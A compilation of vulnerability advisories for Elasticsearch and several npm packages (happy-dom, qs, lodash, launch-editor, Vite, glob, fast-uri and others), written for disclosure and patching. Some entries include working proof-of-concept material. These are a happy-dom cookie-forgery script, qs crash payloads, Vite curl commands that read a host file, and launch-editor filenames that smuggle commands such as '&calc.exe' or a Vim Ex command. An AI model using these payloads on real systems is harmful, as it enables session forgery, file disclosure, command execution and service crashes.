A flaw in Elasticsearch allows an authenticated user with the privileges required to invoke the simulate pipeline API endpoint (https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-simulate) to submit a request that causes a self-referential data structure to be created. When a specific internal component later processes that structure, the operation recurses without bound and raises a fatal error that is not handled by the surrounding execution path, terminating the affected node process and resulting in a denial of service.
### Summary A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics. ### Details happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts. ### PoC Run: ```bash node poc-happydom-cookie-domain.js ``` Full proof-of-concept source (poc-happydom-cookie-domain.js): ```js // PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation // Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1) // -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1) // -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL) // -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie // Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js const http = require('http'); const { Window } = require('happy-dom'); const ATK_PORT = 19311; // attacker server, 127.0.0.1 const VIC_PORT = 19312; // victim server, localhost let victimReceivedCookies = []; let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`; const attacker = http.createServer((req, res) => { if (req.method === 'OPTIONS') { // CORS preflight (happy-dom enforces same-origin policy with a preflight; the // attacker trivially answers it — an attacker-controlled server always can) res.writeHead(204, { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, OPTIONS', 'Access-Control-Allow-Headers': '*' }); res.end(); return; } res.writeHead(200, { 'content-type': 'image/gif', 'Access-Control-Allow-Origin': '*', // Attacker claims Domain=localhost even though it is serving from 127.0.0.1. // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of // the request-host; localhost is also on the Mozilla PSL). 'Set-Cookie': attackerSetCookie }); res.end('GIF89a'); }); const victim = http.createServer((req, res) => { victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null }); res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ ok: true, user: 'alice' })); }); function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); } async function runScenario(scenario) { victimReceivedCookies = []; const win = new Window({ url: `http://localhost:${VIC_PORT}/`, settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true } }); try { if (scenario === 'no-plant-control') { // Control: app NEVER contacts attacker -> victim must receive NO cookie await win.fetch(`http://localhost:${VIC_PORT}/api/account`); } else if (scenario === 'honest-domain-control') { // Control: attacker sets Domain=127.0.0.1 (its own host, honest) // -> cookie must NOT leak to localhost victim attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`; await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`); await win.fetch(`http://localhost:${VIC_PORT}/api/account`); } else { // attack: app fetches attacker content (scraping/SSR/third-party resource) await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`); await win.fetch(`http://localhost:${VIC_PORT}/api/account`); } await sleep(150); return victimReceivedCookies; } finally { win.happyDOM.abort(); } } async function main() { await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r)); await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r)); console.log('=== happy-dom cookie-domain scoping PoC ===\n'); const attack = await runScenario('attack'); console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)'); attack.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`)); const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER')); console.log(` -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`); const noPlant = await runScenario('no-plant-control'); console.log('\n[CONTROL] app never contacts attacker'); noPlant.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`)); const honest = await runScenario('honest-domain-control'); console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only'); honest.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`)); // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects) const win2 = new Window({ url: `http://localhost:${VIC_PORT}/`, settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true } }); win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix! const readBack = win2.document.cookie; console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`); console.log(` -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`); win2.happyDOM.abort(); // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain) const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js'); const matchesBoundary = CookieURLUtility.cookieMatchesURL( { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' }, new URL('https://notexample.com/') ); console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`); console.log(` -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`); attacker.close(); victim.close(); process.exit(0); } main().catch((e) => { console.error(e); process.exit(1); }); ``` Observed output (verbatim, Node 24.15.0, Windows): ``` [UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match ``` ### Impact Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.
### Impact Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. ### Patches This issue is patched in 4.18.0. ### Workarounds None. Upgrade to the patched version.
### Summary `qs.stringify` with `arrayFormat: 'comma'` throws `TypeError: Cannot convert object to primitive value` when an array element cannot be coerced to a string, such as an object with an own non-callable `toString` (`{ "toString": "x" }`) or a null-prototype object. The comma format joins array elements with `Array.prototype.join` and, under `encodeValuesOnly`, first passes each element through `String()` in `utils.encode`; neither guards against an element whose string coercion fails. ### Details In `lib/stringify.js`, the comma branch collapses the array with `obj.join(',')`. For an element whose own `toString` is not callable, `ToPrimitive` skips it, falls through to `Object.prototype.valueOf` (which returns the object itself), and throws. Under `encodeValuesOnly: true`, the same element first reaches `String(str)` in `utils.encode` (`lib/utils.js`) and throws there. Nested arrays (`{ "a": [[{ "toString": "x" }]] }`) throw the same way, through `Array.prototype.toString`. The `indices`, `brackets`, and `repeat` formats walk into object elements instead of coercing them, and are not affected. Such elements can come from untrusted input. `JSON.parse` produces `{ "a": [{ "toString": "x" }] }` with no qs option involved. `qs.parse("a[0][toString]=x", { allowPrototypes: true })` keeps the `toString` key, and `qs.parse("a[][b]=c", { plainObjects: true })` produces a null-prototype element; the default parse options drop `toString` and produce ordinary objects, which do not throw. Express 4's default `query parser`, Express 5's `extended` query parser, and body-parser's `urlencoded({ extended: true })` all call `qs.parse` with `allowPrototypes: true`. #### PoC ```js var qs = require("qs"); qs.stringify(JSON.parse("{\"a\":[{\"toString\":\"x\"}]}"), { arrayFormat: "comma" }); qs.stringify(qs.parse("a[0][toString]=x", { allowPrototypes: true }), { arrayFormat: "comma" }); qs.stringify(qs.parse("a[][b]=c", { plainObjects: true }), { arrayFormat: "comma", encodeValuesOnly: true }); // TypeError: Cannot convert object to primitive value ``` #### Fix Applied in a952e75 on `main` and released as v6.16.1: an element whose string coercion would fail is coerced to its primitive `valueOf`, if any, or else to `Object.prototype.toString`, so it renders as `[object Object]`, the same as any other object element already does under the comma format. Nested arrays are walked the way `join` walks them. Every input that did not previously throw serializes exactly as before, and a `toString` or `valueOf` that itself throws still propagates. ### Affected versions `>=6.7.0 <6.16.1`, fixed in v6.16.1. The `join` path was introduced with the comma format in b84acba and first shipped in v6.7.0; v6.6.x and earlier ignore `arrayFormat: 'comma'` and are not affected. The `encodeValuesOnly` `String()` site was introduced in 4c4b23d (v6.11.1); before that, the same input throws at `join`. Every release from v6.7.0 through v6.16.0 is affected. ### Impact An unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` and `arrayFormat: 'comma'` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a bare `http` request handler, the process exits, so the impact in that case depends on the application error handling rather than on qs. The default `arrayFormat` (`indices`) is not affected.
launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.2, launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed. This vulnerability is fixed in 2.14.2.
launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.2, when an attacker can create a filesystem entry beginning with plus or minus in the working directory, an affected editor is selected, and the path can remain relative or is converted to a relative WSL path, launchEditor forwards the path without forcing it to be interpreted as a positional filename. Editor option parsing then treats the attacker-controlled filename as a command-line flag, which can cause unintended file overwrite or arbitrary command execution by the selected editor. The affected editors are Vim and gVim, MacVim, Emacs and Emacsclient, and Notepad++ when a plugin exposes dangerous operations; WSL path conversion keeps Vite and newer middleware callers exposed. This issue is fixed in version 2.14.2.
Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, import analysis can record a root-relative browser URL in safeModulePaths instead of the cleaned resolved module identifier. On a network-accessible, non-Windows development server, an imported project file whose URL matches an absolute host path can authorize a later raw-filesystem request for that host file, provided server.fs.deny does not block it. The request can disclose the matching file outside the project root, but it does not allow arbitrary path traversal because the host path must correspond to a project-relative URL authorized by the application graph. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
### Summary In glob 13.0.6, an aborted async walk rejects or emits an error but continues recursively reading directories in the background. The root cause is that abort branches in src/walker.ts call cb() without returning. As a result, callers that rely on signal or AbortSignal.timeout() to bound glob traversal cost can still incur filesystem I/O and CPU work after the request has already been rejected. ### Details This was reproduced on glob v13.0.6 (commit e80cb38ae60d6cbff9e75f39032a994858994d35). The README documents that the signal option cancels the glob walk. However, in src/walker.ts, the following methods call cb() when this.signal?.aborted is true but do not return: - GlobUtil.walkCB() - GlobUtil.walkCB2() - GlobUtil.walkCBSync() - GlobUtil.walkCB2Sync() Example vulnerable pattern: if (this.signal?.aborted) cb() Because execution continues after cb(), the walker still reaches processor.processPatterns(), readdirCB(), and recursive walkCB2() calls. The issue was directly demonstrated against v13.0.6. A source-history review shows the same missing-return pattern is present in tagged releases from v9.0.0 through v13.0.6. The issue affects both glob() and globStream(). Recommended fix: Change each abort branch to return immediately: if (this.signal?.aborted) return cb() ### Proof of concept Environment: - Linux x86_64 - Node.js v22.23.3 - npm 10.9.9 - glob 13.0.6 Reproduction steps: 1. Install the affected package: npm init -y npm install glob@13.0.6 2. Run the attached PoC: node poc/abort-continues-work.mjs The PoC aborts after the first readdir() call, waits briefly, and counts how many more directory reads happen after the promise has already rejected. Observed output on the vulnerable version: { "rejection": "Error: probe-abort", "readdirCalls": 1365, "readdirCallsAtReject": 5, "readdirCallsAfterReject": 1360 } Expected behavior: readdirCallsAfterReject should be 0. A second PoC using AbortSignal.timeout() also reproduces the issue: { "rejection": "TimeoutError: The operation was aborted due to timeout", "readdirCalls": 133, "readdirCallsAtReject": 1, "readdirCallsAfterReject": 132 } The same test against a patched build with return cb() in the four abort branches stops immediately: { "readdirCalls": 1, "readdirCallsAtReject": 1, "readdirCallsAfterReject": 0 } ### Impact This is an availability issue. Applications that expose globbing over attacker-influenced patterns or attacker-controlled directory trees and use AbortSignal / AbortSignal.timeout() as a traversal budget can still perform significant filesystem I/O and CPU work after a request has already timed out or been canceled. Repeated timed-out requests can stack background glob walks and degrade worker throughput or service availability. No confidentiality or integrity impact was observed.
### Impact In case a Prototype Pollution vulnerability is present in a user's application or bundled libraries, the Sentry SDK could potentially serve as a gadget to exploit that vulnerability. The exploitability depends on the specific details of the underlying Prototype Pollution issue. > [!NOTE] > This advisory does not indicate the presence of a Prototype Pollution within the Sentry SDK itself. Users are strongly advised to first address any Prototype Pollution vulnerabilities in their application, as they pose a more critical security risk. ### Patches The issue was patched in all Sentry JavaScript SDKs starting from the [8.33.0](https://github.com/getsentry/sentry-javascript/releases/tag/8.33.0) version. Also, the fix was backported to SDK v7 in [7.119.1](https://github.com/getsentry/sentry-javascript/releases/tag/7.119.1). ### References * [Prototype Pollution](https://portswigger.net/web-security/prototype-pollution) * [Prototype Pollution gadgets](https://portswigger.net/web-security/prototype-pollution#prototype-pollution-gadgets) * [sentry-javascript#13838](https://github.com/getsentry/sentry-javascript/pull/13838)
### Summary `launch-editor` did not escape `%` on Windows when passing an argument to `cmd`. When an environment variable contained a malicious value, it was possible that that content to be executed. ### Impact Only apps that match all of the following conditions are affected: - The user uses Windows - An attacker can place a file with the malicious filename containing `&` or `%` - Either of - An attacker can inject an environment variable with a malicious value - An attacker can add a NTFS alternate data stream to the file placed ### Details Unlike `.sh` files, `.bat` / `.cmd` files on Windows cannot be called directly using [`child_process.spawn`](https://nodejs.org/docs/latest-v24.x/api/child_process.html#child_processspawncommand-args-options) and requires passing them as an argument of `cmd.exe`. To do so, launch-editor escapes the arguments passed to `cmd.exe`. But `launch-editor` did not escape `%` which is used for environment variables. Because `launch-editor` checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file. - If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set ` &calc.exe ` to `%ENV%`) and call `launchEditor` with `something%ENV%`. - If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named `~-38%calc.exe`), they can call `launchEditor` with `something %CMDCMDLINE:~-38%calc.exe`. - If the attacker can create a filename containing the `%CD%` and the subcommand (e.g. `&calc.exe `), they can call `launchEditor` with `./%CD%`
## Summary `qs.stringify(obj, { arrayFormat: 'comma' })` throws an uncaught `TypeError: Cannot convert object to primitive value` when an array in `obj` contains an element that carries an own, non-callable `toString` property (for example `{ a: [ { toString: 'x' } ] }`). A remote, unauthenticated attacker who can influence an object that the application later re-serializes with the comma array format triggers the throw. In a service that lacks a synchronous error boundary around the serialization call, the uncaught exception crashes the worker process, producing a denial of service. ## Root Cause When `arrayFormat: 'comma'` is selected, the comma branch collapses the whole array into a single value via `Array.prototype.join`, or, under `encodeValuesOnly: true`, maps each element through the value encoder before joining. Both paths perform an implicit string coercion (`ToPrimitive` with hint `"string"`) on each element. For an object whose own `toString` is a non-callable value, coercion skips the shadowed non-callable `toString`, falls through to `Object.prototype.valueOf` (which returns the object rather than a primitive), and throws. The comma branch runs this coercion before the per-element null and skip handling in the main loop, so nothing downstream can neutralize the hostile element, and the throw is never caught inside the library. ```text lib/stringify.js (comma-array branch) line 152-154: obj = utils.maybeMap(obj, function (v) { return v == null ? v : encoder(v); }); // encodeValuesOnly path line 156: objKeys = [{ value: obj.length > 0 ? obj.join(',') || null : void undefined }]; // default comma path lib/utils.js line 292: string = String(str); // value encoder coercion reached via the encodeValuesOnly path ``` ## Impact Prerequisites: the application calls `qs.stringify` with `arrayFormat: 'comma'` (a documented, supported option) on an object whose shape can be influenced by attacker input. Attacker-controllable sources include `qs.parse(input, { allowPrototypes: true })`, which retains a `toString` segment (Express 4's default query parser, Express 5's `extended` query parser, and body-parser's `extended` urlencoded parser all set it), `qs.parse(input, { plainObjects: true })`, whose null-prototype elements throw even without a `toString` key (eg, `a[][b]=c`), and `JSON.parse` of a request body, which needs no qs parse option at all. No authentication or user interaction is required. Demonstrated capability: a single request forces an uncaught synchronous `TypeError` in the serialization call. In a naive single-process Node service with no synchronous error boundary, this crashes the process and takes the service offline (availability impact). Under a framework such as Express that traps synchronous handler throws, the plausible outcome is a per-request 500 rather than a full outage; that lower-impact case is noted but not the worst credible supported deployment. There is no confidentiality or integrity impact, no memory unsafety, and no prototype pollution. ## Proof of Concept `Install qs at the affected version (for example 6.16.0) and run the following script with Node.js. No network setup is required; it demonstrates the throw in isolation.` ```js var qs = require('qs'); // Source A: qs.parse with allowPrototypes retains the hostile toString segment qs.stringify(qs.parse('a[0][toString]=x', { allowPrototypes: true }), { arrayFormat: 'comma' }); // Source B: a JSON request body, no qs parse option needed qs.stringify(JSON.parse('{"a":[{"toString":"x"}]}'), { arrayFormat: 'comma' }); // Also affected: the encodeValuesOnly sub-path qs.stringify(JSON.parse('{"a":[{"toString":"x"}]}'), { arrayFormat: 'comma', encodeValuesOnly: true }); ``` ```text A default-join (allowPrototypes) => THREW: TypeError: Cannot convert object to primitive value B default-join (JSON.parse) => THREW: TypeError: Cannot convert object to primitive value C encodeValuesOnly path => THREW: TypeError: Cannot convert object to primitive value N2 callable toString => NO THROW; output="a=z" N3 isBuffer vector (CVE-2026-82417) => NO THROW; output="a%5Bconstructor%5D%5BisBuffer%5D=x" qs version: 6.16.0 ``` ## Attack Chain 1. **Exposure:** A remote, unauthenticated request reaches an endpoint whose handler eventually serializes attacker-influenced data with `qs.stringify(obj, { arrayFormat: 'comma' })`. 2. **Control:** The attacker supplies data that becomes `{ a: [ { toString: <non-callable value> } ] }`, either via `a[0][toString]=x` parsed with `allowPrototypes`, or via a JSON body `{"a":[{"toString":"x"}]}`. 3. **Path:** In `stringify`, the primitive/buffer guard at `lib/stringify.js:134` is false for an array, so control reaches the comma branch at `lib/stringify.js:149`. 4. **Guard:** On the `encodeValuesOnly` path, the closure `v == null ? v : encoder(v)` at `lib/stringify.js:152-154` passes only `null`/`undefined` through; a non-null object still reaches the encoder. The default path skips that closure entirely and reaches `obj.join(',')` at `lib/stringify.js:156` with no guard at all. 5. **Primitive:** The element is coerced to a string (`Array.prototype.join`, or `String(str)` at `lib/utils.js:292`). `ToPrimitive` skips the non-callable own `toString`, `valueOf` returns the object, and a `TypeError` is thrown. 6. **Result:** The uncaught synchronous exception propagates out of the serialization call, failing the request and, in a service without a synchronous error boundary, crashing the process (denial of service). ## Bypass Evidence This is a different element type on the code path CVE-2026-8723 (GHSA-q8mj-m7cp-5q26) patched, plus the default comma path, which that fix never covered. CVE-2026-8723 addressed a `TypeError` crash on `null`/`undefined` entries in the comma plus `encodeValuesOnly` path. Its fix (commit 21f80b3) wraps the encoder in `function (v) { return v == null ? v : encoder(v); }`, so it only passes `null` and `undefined` through. A non-null element with a hostile own `toString` fails the `v == null` test, so the encoder still runs and still throws; the encodeValuesOnly case (case C above) throws on the exact fixed code. The default comma path (`encodeValuesOnly` unset, the library default) never entered that fix at all: `git log -S "obj.join(','" -- lib/stringify.js` shows no security fix has ever touched the `obj.join(',')` line, and cases A and B throw with `encodeValuesOnly` unset. The related isBuffer hardening for CVE-2026-82417 (commit e83d321) is a different sink at the `lib/stringify.js:134` guard, which is never entered for the array element; the negative control `{a:{constructor:{isBuffer:'x'}}}` serializes cleanly. Disproof attempts that failed: a `valueOf`-only object does not throw (it serializes to `[object Object]`), confirming the trigger is an element with no callable `toString` (an own non-callable `toString`, or a null-prototype object with no `toString` at all, as `qs.parse` produces under `plainObjects`); nested arrays (`{"a":[[{"toString":"x"}]]}`) throw the same way; a callable `toString` serializes cleanly; and the default (non-comma) array format serializes cleanly, confirming the comma format is required. All positive and negative cases were reproduced on the exact published 6.16.0 artifact. ## Affected Versions - `Ecosystem: npm` - `Package: qs` - `Confirmed affected range: >= 6.7.0, <= 6.16.0` - `Latest release checked: 6.16.0 (npm latest; git tag v6.16.0)` - `Fix status: fixed in 6.16.1 (a952e75)` The `arrayFormat: 'comma'` join sink was introduced in qs 6.7.0, so 6.7.0 is the lower boundary; releases before 6.7.0 lack the sink. No released version fixes this vector, and the latest published release (6.16.0) reproduces the throw, so the closed upper bound `<= 6.16.0` covers every affected release. The `encodeValuesOnly` sub-path was added later, but the default comma-join vector already affects 6.7.0, so 6.7.0 governs the lower boundary. ## Suggested Fix The comma array serialization must not allow an implicit string coercion of an array element to throw an uncaught exception. Coercion of each comma element should be performed defensively (for example by wrapping the join and per-element encode so that a coercion failure is caught and handled), and this protection must cover both the default `obj.join(',')` path and the `encodeValuesOnly` encoder path, not only the previously patched `null`/`undefined` case. As an interim mitigation without a code change, applications can avoid `arrayFormat: 'comma'` when serializing data derived from untrusted input, sanitize parsed objects (avoid `allowPrototypes`/`plainObjects` on untrusted input and strip unexpected own properties), or wrap `qs.stringify` calls in a synchronous error boundary so a coercion failure cannot crash the process. Reported by zx (GitHub: @manus-pi). --- ## Independent report by @Lucidsec The following was reported separately, after this advisory, and is merged here as a duplicate. ### Summary In project [qs](https://github.com/ljharb/qs), in versions `>= 6.7.0, <= 6.16.0` (every version that supports `arrayFormat: 'comma'`), `qs.stringify` with `arrayFormat: 'comma'` can throw an uncaught `TypeError: Cannot convert object to primitive value` when an array element has a non-callable own `toString`. It is fixed in 6.16.1. Related: CWE-248 and CWE-704. ### Technical Details `qs.stringify` with `arrayFormat: 'comma'` joins an array at `lib/stringify.js:156` via `obj.join(',')`. An element whose own `toString` is not callable makes `Array.prototype.join` throw. There is no type check and no catch on that path. A second path exists with `encodeValuesOnly`: at `lib/stringify.js:151-154`, `maybeMap` only skips `v == null`, then `lib/utils.js:292` does `String(str)` and throws the same `TypeError` (this second site exists since v6.11.1; before that, the same input throws at `join`). Who can trigger: someone who can shape an array element passed to `stringify`. The host must use non-default `arrayFormat: 'comma'`. Default `arrayFormat` `indices` does not fold arrays and is not affected. A parse-then-stringify path also needs `plainObjects: true` (null-prototype elements from `lib/parse.js:200`) or `allowPrototypes: true` (which Express 4's default query parser, Express 5's `extended` query parser, and body-parser's `extended` urlencoded parser all set). Default `qs.parse('a[0][toString]=x')` returns `{}` because the prototype guard drops `toString`. Direct JSON handed to `stringify` can supply `{"a":[{"toString":"x"}]}`. Cause: the comma fold at `lib/stringify.js:149-156` collapses the array into a single value before the main loop at `lib/stringify.js:172-212`, so `skipNulls` and `strictNullHandling` only ever see the joined value, never individual elements. `isNonNullishPrimitive` / `isBuffer` at `lib/stringify.js:134` inspect the whole value, not each element. A normal object uses `Object.prototype.toString` and becomes `[object Object]`. An own non-callable `toString` is skipped, `valueOf` returns the object, and `join` throws. (The skipped TODO test at `test/stringify.js:684-689` uses a plain `{ b: 1 }` element, which does not throw; it covers the separate question of what comma format should output for object elements, not this crash.) Earlier comma crash fixes did not cover object elements. ### Impact One small input makes that serialization path throw a synchronous, catchable `TypeError`. Behind a framework error boundary (eg, a synchronous Express handler), the request fails with a 500 and the process survives. In a host with no error boundary (eg, a bare `http.createServer` handler), the uncaught exception exits the process (the client sees `ECONNRESET`). Availability only. ### Proof of Concept <details> <summary>Show the proof of concept</summary> Checked on the latest commit that was checked: `07b1d4d82c8f9301c105ea4b94fa2302cfd6e8b4`. Still present. Demonstrated. - Payload `{"a":[{"toString":"x"}]}` throws at `lib/stringify.js:156`. - Baseline `{"a":["x","y"]}` returns 200 with body `a=x%2Cy`. - A plain object element stringifies to `a=%5Bobject%20Object%5D` and does not throw. - `encodeValuesOnly: true` throws via `utils.js:292`. - `plainObjects` parse plus comma throws. </details> ### Suggested Fix Before `join`, map elements with the existing primitive check; skip or replace non-primitives so `join` cannot throw. On the `encodeValuesOnly` path, do not send non-primitives into `String()`. Optionally guard `lib/utils.js:292`. Add new regression tests.
### Summary `launch-editor` forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution. ### Impact #### Direct `launch-editor` users Only apps that match all of the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The first argument of `launchEditor` can start with `+` or `-` or the user is using WSL #### `launch-editor-middleware` users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - launch-editor older than v2.2.0 is used, or the user is using WSL #### Vite users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The user is using WSL ### Details `launchEditor(file)` function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with `-` (also `+` for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with `+` as an Ex command. As a result, an existing relative directory such as: ``` +call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa! ``` is not treated as a filename when passed to Vim. Vim executes the embedded Ex command. The following editor has a potentially destructive operation exposed to the CLI arguments: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) `launch-editor-middleware` v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, `launch-editor` converts the paths to relative paths internally, so those are still affected. Vite 2.0.0+ uses `launch-editor-middleware` v2.2.0+ so the WSL users are only affected.
### Summary The content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references `<path-to-project-root>/etc/hosts`, the content of `/etc/hosts` was possible to be returned. The content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing `<project-root>/etc/hosts` could make Vite return the host's `/etc/hosts` file. ### Impact Only apps that meet all of the following conditions are affected: - explicitly expose the Vite dev server to the network (using `--host` or the [`server.host` option](https://vite.dev/config/server-options#server-host)) - contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host - The sensitive file is not matched by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) - the dev server is not running on Windows ### Details When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as `/etc/hostname`. In affected versions, Vite converts that URL with `fsPathFromUrl` and adds the result to `safeModulePaths`. Because `fsPathFromUrl` ensures a leading slash without resolving the URL against the project root, the project URL `/etc/hostname` is recorded as if it were the absolute filesystem path `/etc/hostname`. For a later request to `/@fs/etc/hostname`, the raw-filesystem middleware interprets `/etc/hostname` as an absolute path. The access check applies `server.fs.deny`, then accepts paths present in `safeModulePaths` before checking `server.fs.allow`. As a result, the request can return the host file instead of the project file that originally populated `safeModulePaths`. ### PoC The following example requires Linux with a readable `/etc/hostname`: ```bash $ mkdir vite-safe-module-path-poc $ cd vite-safe-module-path-poc $ npm init -y $ npm install vite@8.3.1 $ mkdir -p etc $ echo 'PROJECT-DECOY\n' > etc/hostname $ echo 'import "./etc/hostname"\n' > main.js $ npx vite --host 127.0.0.1 ``` In another terminal: ```bash $ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js 200 $ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname 200 $ cmp -s response /etc/hostname && echo 'response matches host file' response matches host file ```
fast-uri is a dependency-free RFC 3986 URI parser and serializer for Node.js. In versions before 2.4.8, from 3.0.0 through 3.1.8, and from 4.0.0 through 4.2.2, fast-uri percent-decodes the scheme component with the legacy global unescape() function before validating it, so an input whose decoded scheme is a dangerous token is emitted as a live scheme even though RFC 3986 does not allow percent-encoding in a scheme and no other parser accepts it. An application that screens dangerous schemes on the raw input and then stores or renders the normalized or resolved result can turn an inert string into an executable javascript, data, or vbscript URL, producing a stored or reflected cross-site scripting vector, and the equal() comparison treats an encoded and a plain scheme as the same, which can bypass equality-based allowlists. The issue is fixed in fast-uri 2.4.8, 3.1.9, and 4.2.3, and users should upgrade to one of these versions or later. As a workaround, reject input whose scheme part contains a percent sign, or check the parsed scheme against an allowlist after normalization and use that same parsed result rather than the raw string.
PostCSS Selector Parser is a CSS selector parser that integrates with PostCSS but does not require it. Prior to 7.1.6, src/parser.js splitWord() can receive a flat selector as one word token carrying many class or ID indexes because period and hash characters are not tokenizer word delimiters. The uniqs() deduplication and per-index class and ID membership checks repeatedly scan the class and ID index arrays, while a separate Sass-interpolation filtering pass also performs repeated linear scanning. Together, these passes make parsing quadratic in the number of indexes and allow a crafted selector to occupy a synchronous parser thread. The maxNestingDepth guard does not mitigate the issue because the hostile selector can have zero nesting depth. Only consumers that synchronously parse untrusted selectors in an exposed request path are affected; ordinary build-time parsing of trusted sources is not affected. This issue is fixed in version 7.1.6.
